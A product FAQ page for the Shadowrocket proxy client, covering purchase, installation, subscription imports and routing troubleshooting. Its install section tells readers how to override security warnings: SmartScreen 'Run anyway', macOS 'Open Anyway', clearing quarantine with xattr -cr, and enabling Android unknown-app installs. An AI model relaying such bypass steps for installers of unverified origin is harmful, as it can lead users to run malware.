Shadowrocket Official Guide

Shadowrocket FAQ Setup, subscriptions & connection troubleshooting

Identify which step the issue occurs at, then follow the relevant answer. Troubleshoot installation, subscription content, and routing rules separately so you can tell what caused the problem.

01 / GET & VERIFY

Authenticity & pricing

Check your platform first, then verify your purchase history and store details. Getting the client and having connection details are separate things.

Can I use Shadowrocket on desktop and Android? How much does it cost?

Yes. The iPhone and iPad app is available on the App Store for a one-time $2.99 purchase. The Mac, Windows, Android, and Linux versions are free. Mac downloads are available for Apple silicon and Intel; Windows has a 64-bit installer, Android has an arm64 package, and Linux offers deb, rpm, and AppImage packages. Choose your device on the download page. Desktop and Android installers are downloaded from this site under /dl/shadowrocket/; availability and pricing differ by platform.

How can I verify that Shadowrocket on the App Store is the genuine app?

Open Shadowrocket’s App Store product page and check the developer, Shadow Launch Technology Limited, the official app icon, and app ID 932747118. Don’t rely on the name or search ranking alone. The official icon shows a blue-and-purple outlined rocket on a white background; compare it with the icon in this site’s header. The iPhone and iPad app costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. Don’t mistake a similarly named listing shown as free in a mobile app store for the app described here. Check the App Store page for system requirements.

What else do I need after buying the app?

You’ll need your own subscription or server details. Buying the app once does not include a service plan: the purchase provides a license to use the client, but does not create a server address, subscription URL, or connection credentials. The iPhone and iPad app costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. This site does not provide, sell, or recommend servers or subscriptions. Before importing, ask your service provider to confirm that your details are valid, work with Shadowrocket, and are supported by a currently available service.

Can’t find Shadowrocket on the App Store? What should I check?

Open the product page directly from the download page. This helps distinguish no search results from a message that the app isn’t available in your current region. The app is currently unavailable on the mainland China App Store. Visibility depends on the store region of the Apple Account used for Media & Purchases, not your device language or system region. In Settings, open your Apple Account, go to Media & Purchases, then View Account to check the country or region. If you need to change it, follow Apple’s in-system process and first check any balance, active subscriptions, and payment method requirements. Changing your device language won’t change what’s available in the store.

Do I need to pay again if I get a new phone, reinstall the app, or use it on iPad?

The iPhone and iPad app costs $2.99 as a one-time App Store purchase and works on both devices; the Mac, Windows, Android, and Linux versions are free. When you replace or reset an iPhone or iPad, sign in with the Apple Account used for the original purchase and find the app in your App Store purchase history or app list to download it again. If you’re still asked to pay, check the Media & Purchases account and purchase history before trying to buy it again. Reinstalling won’t restore your configuration, so back up Config and your existing subscription details before changing devices. Family Sharing availability depends on the product page and your Family Sharing settings.

02 / INSTALL & OPEN

Download, install & first launch

Choose the right architecture first, then follow the system prompt for the file you downloaded. Don’t disable all security protections just to install an app.

Which Mac version should I choose: Apple silicon or Intel?

On your Mac, open About This Mac from the Apple menu. If it shows Chip and an Apple chip name, choose the Apple silicon version. If it shows Processor and an Intel name, choose the Intel version. Don’t guess based on the Mac’s appearance or purchase year. The download page provides a separate dmg for each architecture. Open the disk image, move Shadowrocket to Applications, and launch it from there. If macOS says it can’t verify the developer, confirm the installer came from this site, then go to System Settings > Privacy & Security and select Open Anyway. See the next FAQ for other warnings.

Windows or Mac warns that the app may be risky or won’t open. What should I do?

First confirm the file came from this site’s download page. If you can’t verify its source, stop. After checking the file, you can select “More info → Run anyway” in the Windows SmartScreen warning. If your organization’s policy blocks this option, contact your device administrator. On Mac, if you see “Apple cannot check it for malicious software,” try opening the app once, then go to Privacy & Security and select Open Anyway. If macOS says the app is damaged, download it again, move it to Applications, and verify its source. Then, if appropriate, run xattr -cr /Applications/Shadowrocket.app in Terminal and try opening it again. Only do this for an app whose source you’ve confirmed; don’t disable system security protections across the board.

How do I install Shadowrocket on Android or Linux for the first time?

Download the arm64 installer for Android from the download page. If the download won’t start in WeChat, open this site in your system browser instead. If Android blocks the installation, allow Install unknown apps for the browser or file manager you’re using for this install only, then revoke that permission afterward if you wish. On Linux, choose deb or rpm for your distribution. For AppImage, make the file executable first—for example, run chmod +x Shadowrocket.AppImage in the directory where it’s stored—then launch it. Use the actual downloaded filename. If the system still reports an error, keep the full message and don’t keep trying files from unknown sources.

The connection switch won’t turn on when I open the app for the first time. What should I check?

First, make sure Home contains an available server entry and that the intended server is selected, then try turning on the connection. The first connection on iPhone or iPad asks to add a VPN configuration. Follow the system prompts and complete device authentication; if you cancel, the switch may turn off immediately. Next, check the system VPN settings for another connection in use, and see whether a managed device restricts adding configurations. Don’t start by deleting all system configurations. Note the in-app error, then troubleshoot in this order: permissions, existing configurations, and network reachability.

The interface is in English. Which sections should I learn first?

Start by identifying Home, Config, Settings, and Data, then look for the options on the current screen. Home shows servers and connection status; Config manages configurations; Settings contains app preferences; and Data shows traffic information. Under Global Routing, Config, Proxy, and Direct are connection handling modes, not three server groups. Add Server and Subscribe are used to add connection details. This guide keeps these labels in English so you can match them to the app. Layouts may vary by platform or app version. If you can’t find an option, look for its label rather than relying on its screen position.

03 / SUBSCRIBE & CONFIG

Subscriptions & server imports

These steps assume you already have your own subscription or server details. Keep the original information before importing, updating, or moving it to another device.

How do I import an existing subscription into Shadowrocket?

Get the complete subscription URL from your own service provider. Make sure you’ve copied the subscription address, not a sign-in or payment page. In Home, open Add Server, choose Subscribe, enter a recognizable name and the full URL, save it, then update the subscription and wait for the entries to appear. Select a server before testing the connection; saving a URL to the list doesn’t mean you’re connected. A subscription URL may contain access credentials, so don’t post it in public chats, screenshots, or comments. See the tutorial for the steps that follow, and keep a copy of your original subscription details before importing.

Subscription import fails, returns no entries, or reports an invalid format. What should I do?

Check that the URL is complete, especially any trailing parameters. Remove spaces or line breaks added during copying, but don’t alter valid characters. Confirm that your current network can reach the subscription address, and check whether the service has expired or the URL has been reset. A sign-in page, web error, or empty response can’t be parsed as a valid subscription. Even if the URL opens in a browser, its contents may not be in a supported format. If it still fails, note the exact error and where it occurred, then ask your service provider to verify the subscription format. Hide credentials in the URL when reporting the issue, and don’t repeatedly delete existing working groups.

How do I update an existing subscription? Will the selected server change?

In Home, find the relevant Subscribe group and use its update action. Afterward, check the server list, selected entry, and any error messages. Updating fetches the current contents at that address; it doesn’t extend your service period. If your provider renames or removes an entry, your previous selection may no longer be valid, so check the intended server rather than just whether the update finished. If you manage multiple subscriptions, give each group a distinct name, update them individually, and keep the original URLs. You don’t need to import the same subscription again just to update it.

When adding a server manually, how do I choose the protocol and fill in the fields?

Choose a protocol based on the server details you already have, then enter the address, port, and authentication information. Don’t infer the protocol from the port number alone. Fields differ across Shadowsocks, VMess, VLESS, Trojan, Hysteria2, WireGuard, and other protocols. TLS, SNI, and transport settings must also match the server. You can import QR code details with Scan QR Code, but check the contents before saving. If you have a server address but are missing authentication parameters, get the complete details first; changing the protocol name won’t fix an incompatible configuration. If the connection fails, change only fields you’ve confirmed are incorrect.

What’s the difference between Subscribe and Config, and how do I keep them when changing devices?

Subscribe is mainly for updating an existing server list. Config manages rules, policies, and related settings; they’re separate sets of data. A server appearing in Home doesn’t mean the intended Config is active. Before changing devices, keep both the subscription source and the Config settings, and check that policy names still match your current servers. Exported configuration files may contain sensitive parameters, so store them somewhere you control. If you use iCloud sync, check on the new device that everything has actually been restored. Verify the connection on the new device before clearing the old one; reinstalling the app doesn’t mean your data has migrated.

04 / ROUTING & CONNECTION

Routing rules & connection issues

Keep the test destination the same and change one thing at a time. First distinguish an issue with your regular network, the server, or Config rules.

How should I choose between Config, Proxy, and Direct in Global Routing?

Start with Config to let the rules in your current Config determine how connections are handled. Proxy sends traffic handled by the client through the proxy path, which can help test whether a server is available. Direct sends handled traffic straight to its destination so you can compare it with your regular network connection. The explanations here describe the modes; the app labels remain Config, Proxy, and Direct. During troubleshooting, switch one mode at a time and test the same destination. If Proxy works but Config doesn’t, check the rules and their policy references first. If Direct also fails, check your regular network.

The app says connected, but I can’t access the internet. What should I check, and in what order?

A connection icon only means the system connection was established; it doesn’t guarantee that the remote server, DNS, or every website is working. Disconnect first and confirm your regular network can access the internet. Reconnect and check which server is selected. Use Connectivity Test as an aid to checking reachability, not as a guarantee that all services will work. Next, test the same destination with Proxy and Config, and check the connection log or error details provided by the app. This can help distinguish authentication, timeout, DNS, and rule issues. Change one thing at a time and note the result. If the server itself is unavailable, check with your service provider instead of repeatedly rewriting local rules.

Only some websites use the wrong route. How should I check the routing rules?

First confirm that Global Routing is set to Config and that the intended configuration is active. Rules are usually matched in order, and the policy for the first matching rule is applied. A broad rule placed earlier may prevent a more specific rule below it from taking effect. Check whether the conditions in DOMAIN, DOMAIN-SUFFIX, DOMAIN-KEYWORD, GEOIP, and IP-CIDR match the destination. Then make sure PROXY, DIRECT, REJECT, or any custom policy name is referenced correctly. FINAL applies when no earlier rule matches; it isn’t a precise domain rule. Keep a copy of the original configuration, test with one known destination, and only then expand your changes.

Why does On Demand connect automatically, and how can I stop it from switching repeatedly?

On Demand starts a connection when its configured network conditions are met, so automatic connection in those circumstances is expected. If the connection returns after you disconnect manually, check the Wi-Fi, cellular, and other On Demand conditions before assuming the switch is malfunctioning. To troubleshoot, temporarily turn off On Demand, connect manually, and compare the results. Once the connection is stable, restore conditions one at a time. If your network frequently switches between Wi-Fi and cellular, check for conflicting conditions. Work- or school-managed devices may also be subject to system policies, so check for management restrictions.

Battery use seems higher. How should I interpret traffic in Data?

Compare similar usage periods and network conditions in your system battery stats, then use Data to review traffic. Don’t judge by how it feels after turning on the connection alone. Weak signal, sustained transfers, repeated server reconnections, and long-running tests can all increase power use. Stop continuous testing while troubleshooting, keep your usual settings, and observe Wi-Fi and cellular separately. Data shows traffic in the client; it doesn’t replace provider billing records or system cellular statistics. Different reporting periods and reset times can produce different totals. Record when the issue occurs, the connection type, and any reconnection pattern; that’s more useful for diagnosis than a screenshot of a single traffic figure.